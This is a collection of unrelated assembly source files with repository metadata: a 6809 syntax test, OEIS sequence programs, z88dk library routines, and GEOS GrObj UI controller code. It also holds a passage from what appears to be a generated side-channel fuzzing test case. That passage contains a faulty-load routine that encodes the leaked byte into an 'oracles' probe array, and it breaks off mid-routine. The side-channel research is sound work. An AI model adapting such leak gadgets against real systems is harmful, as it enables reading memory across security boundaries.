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5d318a1e42b6f9b5b96f6fdf503ac2b17ad7fcf8
265
asm
Assembly
tests/syntax_test_addon_directives.asm
dougmasten/dougmasten-sublime-assembly-6809
60aca36483d6a33bbcc3d8880c8ce274cb6302a9
[ "MIT" ]
5
2018-11-10T02:09:16.000Z
2021-09-12T04:39:08.000Z
tests/syntax_test_addon_directives.asm
dougmasten/dougmasten-sublime-assembly-6809
60aca36483d6a33bbcc3d8880c8ce274cb6302a9
[ "MIT" ]
1
2018-12-18T09:44:42.000Z
2018-12-23T06:14:12.000Z
tests/syntax_test_addon_directives.asm
dougmasten/dougmasten-sublime-assembly-6809
60aca36483d6a33bbcc3d8880c8ce274cb6302a9
[ "MIT" ]
2
2021-01-31T03:09:12.000Z
2021-02-10T13:55:11.000Z
# SYNTAX TEST "Packages/Assembly-6809/Assembly-6809.sublime-syntax" # <- source.mc6809 ; Preprocessor addon directives repeat 2 #^^^^^^ support.function.directive.addon # ^ constant.numeric.decimal endrepeat #^^^^^^^^^ support.function.directive.addon
18.928571
67
0.716981
74b43607d7376eb8433f5bd5d4667a4388daadc2
313
asm
Assembly
oeis/195/A195062.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/195/A195062.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/195/A195062.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A195062: Period 7: repeat [1, 0, 1, 0, 1, 0, 1]. ; Submitted by Christian Krause ; 1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0 mod $0,7 add $0,1 mod $0,2
39.125
201
0.536741
4bca664f68fc4c480ff4f04b52ea6f419c21f241
299
asm
Assembly
libsrc/_DEVELOPMENT/font/font_4x8/_font_4x8_64_omni1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/font/font_4x8/_font_4x8_64_omni1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/font/font_4x8/_font_4x8_64_omni1.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; Font extracted from 64-4.tap ; ; Tap file downloaded from: http://mdfs.net/Software/Spectrum/Coding/Printout/ SECTION rodata_font SECTION rodata_font_4x8 PUBLIC _font_4x8_64_omni1 PUBLIC _font_4x8_64_omni1_end _font_4x8_64_omni1: BINARY "font_4x8_64_omni1.bin" _font_4x8_64_omni1_end:
17.588235
78
0.812709
1f4f8422962a6757c1500b7600cdf43a866d2653
588
asm
Assembly
programs/oeis/119/A119635.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/119/A119635.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/119/A119635.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A119635: a(n) = n*(1 + n^2)*2^n. ; 4,40,240,1088,4160,14208,44800,133120,377856,1034240,2748416,7127040,18104320,45187072,111083520,269484032,646184960,1533542400,3606052864,8409579520,19465764864,44753223680,102257131520,232330887168,525126860800,1181250224128,2645431418880,5900211322880,13109313929216,29023241502720,64042257350656,140874927308800,308979947274240,675821693960192,1474376373370880,3208649807757312,6966780551495680 add $0,1 mov $3,$0 mul $3,$0 mul $3,$0 add $3,$0 lpb $0,1 sub $0,1 mov $2,$3 mul $3,2 lpe mul $2,2 add $1,$2 sub $1,3 div $1,4 mul $1,4 add $1,4
29.4
400
0.77381
c9e66a79cadb434230227e5a5a5fbbfbf5025ef3
620
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/nirvanam/z80/asm_NIRVANAM_spriteT.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/nirvanam/z80/asm_NIRVANAM_spriteT.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/nirvanam/z80/asm_NIRVANAM_spriteT.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR THE NIRVANA ENGINE - by Einar Saukas ; ; See "nirvana-.h" for further details ; ---------------------------------------------------------------- SECTION code_clib SECTION code_nirvanam PUBLIC asm_NIRVANAM_spriteT asm_NIRVANAM_spriteT: add hl,hl add hl,hl add hl,hl ; HL=sprite*8 ld bc,57577 add hl,bc ; HL=57577+sprite*8 ld (hl),a ; tile dec l dec hl ld (hl),d ; lin dec l ld (hl),e ; col ret
23.846154
66
0.425806
d9ddc0bf15aef68b9c55f55768d4dde28941f96c
750
asm
Assembly
oeis/081/A081900.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/081/A081900.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/081/A081900.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A081900: A sequence related to binomial(n+4, 4). ; Submitted by Jon Maiga ; 1,9,71,519,3606,24150,157250,1001250,6259375,38534375,234140625,1406640625,8367187500,49335937500,288632812500,1676757812500,9678955078125,55548095703125,317108154296875,1801483154296875,10188293457031250,57380676269531250,321922302246093750,1799583435058593750,10026073455810546875,55682659149169921875,308334827423095703125,1702606678009033203125,9377002716064453125000,51515102386474609375000,282347202301025390625000,1544058322906494140625000,8426047861576080322265625,45889057219028472900390625 mov $1,1 mov $2,1 mov $3,$0 mov $0,4 mov $4,1 lpb $3 add $0,1 mul $1,$3 mul $1,$0 mul $2,4 sub $3,1 add $5,$4 div $1,$5 add $2,$1 add $4,2 lpe mov $0,$2
34.090909
501
0.804
bf77e2fcb571aac42b32b48a0a406a0ee3e36e5b
409
asm
Assembly
oeis/143/A143360.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/143/A143360.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/143/A143360.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A143360: Sum of root degrees of all symmetric ordered trees with n edges. ; Submitted by Jon Maiga ; 1,3,5,12,20,45,77,168,294,630,1122,2376,4290,9009,16445,34320,63206,131274,243542,503880,940576,1939938,3640210,7488432,14115100,28973100,54826020,112326480,213286590,436268025,830905245,1697168160,3241119750 mov $1,$0 div $0,2 add $1,1 mov $2,$1 bin $1,$0 add $0,2 bin $2,$0 mul $2,2 add $2,$1 mov $0,$2
27.266667
210
0.743276
206c131cfab7a806c3e33ab9d76d5561f691a2c4
6,674
asm
Assembly
Library/GrObj/UI/uiHandleControl.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/GrObj/UI/uiHandleControl.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/GrObj/UI/uiHandleControl.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: uiHandleControl.asm AUTHOR: Jon Witort METHODS: Name Description ---- ----------- FUNCTIONS: Scope Name Description ----- ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- jon 24 feb 1992 Initial version. DESCRIPTION: Code for the GrObjHandleControlClass $Id: uiHandleControl.asm,v 1.1 97/04/04 18:05:49 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjUIControllerCode segment resource COMMENT @---------------------------------------------------------------------- MESSAGE: GrObjHandleControlGetInfo -- MSG_GEN_CONTROL_GET_INFO for GrObjHandleControlClass DESCRIPTION: Return group PASS: *ds:si - instance data es - segment of GrObjHandleControlClass ax - The message cx:dx - GenControlBuildInfo structure to fill in RETURN: none DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/31/91 Initial version ------------------------------------------------------------------------------@ GrObjHandleControlGetInfo method dynamic GrObjHandleControlClass, MSG_GEN_CONTROL_GET_INFO mov si, offset GOHC_dupInfo call CopyDupInfoCommon ret GrObjHandleControlGetInfo endm GOHC_dupInfo GenControlBuildInfo < mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags GOHC_IniFileKey, ; GCBI_initFileKey GOHC_gcnList, ; GCBI_gcnList length GOHC_gcnList, ; GCBI_gcnCount GOHC_notifyList, ; GCBI_notificationList length GOHC_notifyList, ; GCBI_notificationCount GOHCName, ; GCBI_controllerName handle GrObjHandleControlUI, ; GCBI_dupBlock GOHC_childList, ; GCBI_childList length GOHC_childList, ; GCBI_childCount GOHC_featuresList, ; GCBI_featuresList length GOHC_featuresList, ; GCBI_featuresCount GOHC_DEFAULT_FEATURES, ; GCBI_features 0, ; GCBI_toolBlock 0, ; GCBI_toolList 0, ; GCBI_toolCount 0, ; GCBI_toolFeaturesList 0, ; GCBI_toolFeaturesCount 0, ; GCBI_toolFeatures GOHC_helpContext> ; GCBI_helpContext if FULL_EXECUTE_IN_PLACE GrObjControlInfoXIP segment resource endif GOHC_helpContext char "dbGrObjHandl", 0 GOHC_IniFileKey char "GrObjHandle", 0 GOHC_gcnList GCNListType \ <MANUFACTURER_ID_GEOWORKS, \ GAGCNLT_APP_TARGET_NOTIFY_GROBJ_BODY_INSTRUCTION_FLAGS_CHANGE> GOHC_notifyList NotificationType \ <MANUFACTURER_ID_GEOWORKS, GWNT_GROBJ_BODY_INSTRUCTION_FLAGS_CHANGE> ;--- GOHC_childList GenControlChildInfo \ <offset GrObjHandleSizeItemGroup, mask GOHCF_SMALL_HANDLES or \ mask GOHCF_MEDIUM_HANDLES or \ mask GOHCF_LARGE_HANDLES, 0>, <offset GrObjInvisibleHandlesBooleanGroup, mask GOHCF_INVISIBLE_HANDLES, mask GCCF_IS_DIRECTLY_A_FEATURE> GOHC_featuresList GenControlFeaturesInfo \ <offset GrObjInvisibleHandlesBooleanGroup, InvisibleHandlesName, 0>, <offset GrObjLargeHandlesExcl, LargeHandlesName, 0>, <offset GrObjMediumHandlesExcl, MediumHandlesName, 0>, <offset GrObjSmallHandlesExcl, SmallHandlesName, 0> if FULL_EXECUTE_IN_PLACE GrObjControlInfoXIP ends endif COMMENT @---------------------------------------------------------------------- MESSAGE: GrObjInstructionControlUpdateUI -- MSG_GEN_CONTROL_UPDATE_UI for GrObjInstructionControlClass DESCRIPTION: Handle notification of type change PASS: *ds:si - instance data es - segment of GrObjInstructionControlClass ax - MSG_GEN_CONTROL_UPDATE_UI RETURN: nothing DESTROYED: ax REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11 feb 1992 Initial version ------------------------------------------------------------------------------@ GrObjHandleControlUpdateUI method dynamic GrObjHandleControlClass, MSG_GEN_CONTROL_UPDATE_UI uses cx, dx, bp .enter mov bx, ss:[bp].GCUUIP_dataBlock call MemLock jc done mov es, ax mov al, es:[GBNIF_handleSize] cbw clr dx call MemUnlock mov bx, ss:[bp].GCUUIP_childBlock clr bp tst ax jns absSize inc bp neg ax absSize: mov_tr cx, ax mov si, offset GrObjHandleSizeItemGroup mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr di call ObjMessage mov cx, bp mov dx, cx not dx mov si, offset GrObjInvisibleHandlesBooleanGroup mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE clr di call ObjMessage done: .leave ret GrObjHandleControlUpdateUI endm GrObjUIControllerCode ends GrObjUIControllerActionCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjHandleControlSetDesiredHandleSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: GrObjHandleControl method: MSG_GOHC_SET_DESIRED_HANDLE_SIZING Called by: Pass: *ds:si = GrObjHandleControl object ds:di = GrObjHandleControl instance Return: nothing Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 28, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjHandleControlSetHandles method dynamic GrObjHandleControlClass, MSG_GOHC_SET_HANDLES uses cx,dx .enter push si call GetChildBlockAndFeatures test ax, mask GOHCF_SMALL_HANDLES or \ mask GOHCF_MEDIUM_HANDLES or \ mask GOHCF_LARGE_HANDLES mov cx, MEDIUM_DESIRED_HANDLE_SIZE jz checkInvisible push ax ;save features mov si, offset GrObjHandleSizeItemGroup mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ;al <- size mov_tr cx, ax ;cx <- size pop ax ;ax <- features checkInvisible: test ax, mask GOHCF_INVISIBLE_HANDLES jz setSize push cx ;save size mov si, offset GrObjInvisibleHandlesBooleanGroup mov ax, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ;ax <- invisible? pop cx ;cl <- size tst ax jz setSize neg cl setSize: pop si mov ax, MSG_GB_SET_DESIRED_HANDLE_SIZE mov bx, segment GrObjBodyClass mov di, offset GrObjBodyClass call GenControlOutputActionRegs .leave ret GrObjHandleControlSetHandles endm GrObjUIControllerActionCode ends
23.835714
80
0.670662
4a8cf1f793399e335b9a31e3d2b92849d9f8c238
5,185
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_387.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_387.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_387.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x2c8, %r11 nop nop add $45988, %rdi mov (%r11), %r15w sub %r9, %r9 lea addresses_A_ht+0xfd40, %r13 nop nop nop add %r9, %r9 mov (%r13), %rdx nop nop nop nop nop xor %r15, %r15 lea addresses_normal_ht+0x16228, %rsi lea addresses_A_ht+0x6ec8, %rdi clflush (%rsi) nop nop nop nop add $15854, %r13 mov $18, %rcx rep movsw nop nop nop nop lfence pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x11338, %rdi nop nop nop nop nop inc %rdx movb $0x51, (%rdi) sub %rdi, %rdi // Load lea addresses_WC+0x154c8, %rax xor $3258, %rcx vmovups (%rax), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rdi nop xor $22541, %rax // Faulty Load lea addresses_UC+0x6ec8, %rdx nop nop and $63274, %rax vmovups (%rdx), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rdi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
43.208333
2,999
0.658245
bd63602617d76cf1da22c97789bc0d90caf4560f
196
asm
Assembly
yasm-1.3.0/modules/objfmts/win64/tests/win64-imagebase.asm
xu5343/ffmpegtoolkit_CentOS7
974496c709a1c8c69034e46ae5ce7101cf03716f
[ "Apache-2.0" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
third_party/yasm/source/patched-yasm/modules/objfmts/win64/tests/win64-imagebase.asm
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
third_party/yasm/source/patched-yasm/modules/objfmts/win64/tests/win64-imagebase.asm
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
[section .text] handler: ret func: ret func_end: [section .pdata] dd func dd func_end dd myunwnd [section .xdata] myunwnd: db 9,0,0,0 dd handler [section .foo] dd handler wrt ..imagebase
10.888889
27
0.704082
8e18f2c4ee8a84cbb58893cf52a593a150389bc1
286
asm
Assembly
programs/oeis/242/A242112.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/242/A242112.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/242/A242112.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A242112: a(n) = floor((2*n+6)/(5-(-1)^n)). ; 1,1,2,2,3,2,4,3,5,4,6,4,7,5,8,6,9,6,10,7,11,8,12,8,13,9,14,10,15,10,16,11,17,12,18,12,19,13,20,14,21,14,22,15,23,16,24,16,25,17,26,18,27,18,28,19,29,20,30,20,31,21,32,22,33,22,34,23,35,24,36 mov $1,$0 mod $1,2 add $1,2 div $0,$1 add $0,1
31.777778
192
0.576923
aadf6f4f00e4285d5de944ffa2c20333719f4639
752
asm
Assembly
oeis/002/A002022.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/002/A002022.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/002/A002022.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A002022: Pile of coconuts problem. ; Submitted by Christian Krause ; 0,6,240,1020,78120,279930,40353600,134217720,31381059600,99999999990,34522712143920,106993205379060,51185893014090744,155568095557812210,98526125335693359360,295147905179352825840,239072435685151324847136,708235345355337676357614,714209495693373205673756400,2097151999999999999999999980,2576580875108218291929075869640,7511413302012830262726227918826,11045767571919545466173812409689920,32009658644406818986777955348250600,55511151231257827021181583404541015600 mov $3,$0 add $3,1 mov $4,$0 mov $5,1 lpb $3 mov $0,$4 sub $3,1 sub $0,$3 mov $2,3 add $2,$0 add $0,1 mov $1,1 sub $1,$4 mod $2,2 mul $2,2 add $5,$2 pow $0,$5 add $1,$0 lpe mov $0,$1 sub $0,2
28.923077
463
0.788564
d99ae3a72e50693adcc41f8d5417f8325f4aa4cb
105
asm
Assembly
a0301.asm
zhangyuesai/8086-asm-learning-code
a934fb3a98a53a6167b647535b3251680294a786
[ "MIT" ]
1
2018-07-23T10:30:22.000Z
2018-07-23T10:30:22.000Z
a0301.asm
zhangyuesai/8086-asm-learning-code
a934fb3a98a53a6167b647535b3251680294a786
[ "MIT" ]
null
null
null
a0301.asm
zhangyuesai/8086-asm-learning-code
a934fb3a98a53a6167b647535b3251680294a786
[ "MIT" ]
null
null
null
assume cs:codesg codesg segment s: jmp s jmp short s jmp near ptr s jmp far ptr s codesg ends end s
9.545455
16
0.72381
0a0bd7e355ac53830d6b99bb96a70ed1d3c5dca9
7,554
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_885.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_885.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_885.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xdc8a, %r8 nop nop nop nop nop inc %r9 movl $0x61626364, (%r8) nop nop nop inc %rbx lea addresses_UC_ht+0x63cd, %rsi lea addresses_A_ht+0x1178d, %rdi nop nop nop nop sub $8058, %rbx mov $80, %rcx rep movsl nop nop cmp $49974, %r8 lea addresses_WC_ht+0xbd61, %rax cmp %rbx, %rbx mov $0x6162636465666768, %r8 movq %r8, %xmm7 movups %xmm7, (%rax) nop nop add %rsi, %rsi lea addresses_A_ht+0x1844d, %r8 nop nop nop cmp %r9, %r9 movw $0x6162, (%r8) nop nop nop nop nop inc %rcx lea addresses_WT_ht+0x6c61, %rsi lea addresses_D_ht+0x6bcd, %rdi add $43127, %rdx mov $67, %rcx rep movsw nop nop nop nop and $59938, %rbx lea addresses_D_ht+0x415b, %rbx nop inc %rax mov $0x6162636465666768, %rdx movq %rdx, (%rbx) nop nop nop cmp %r9, %r9 lea addresses_A_ht+0x145cd, %rsi lea addresses_WC_ht+0x13e5d, %rdi xor %rax, %rax mov $18, %rcx rep movsq nop nop nop nop nop 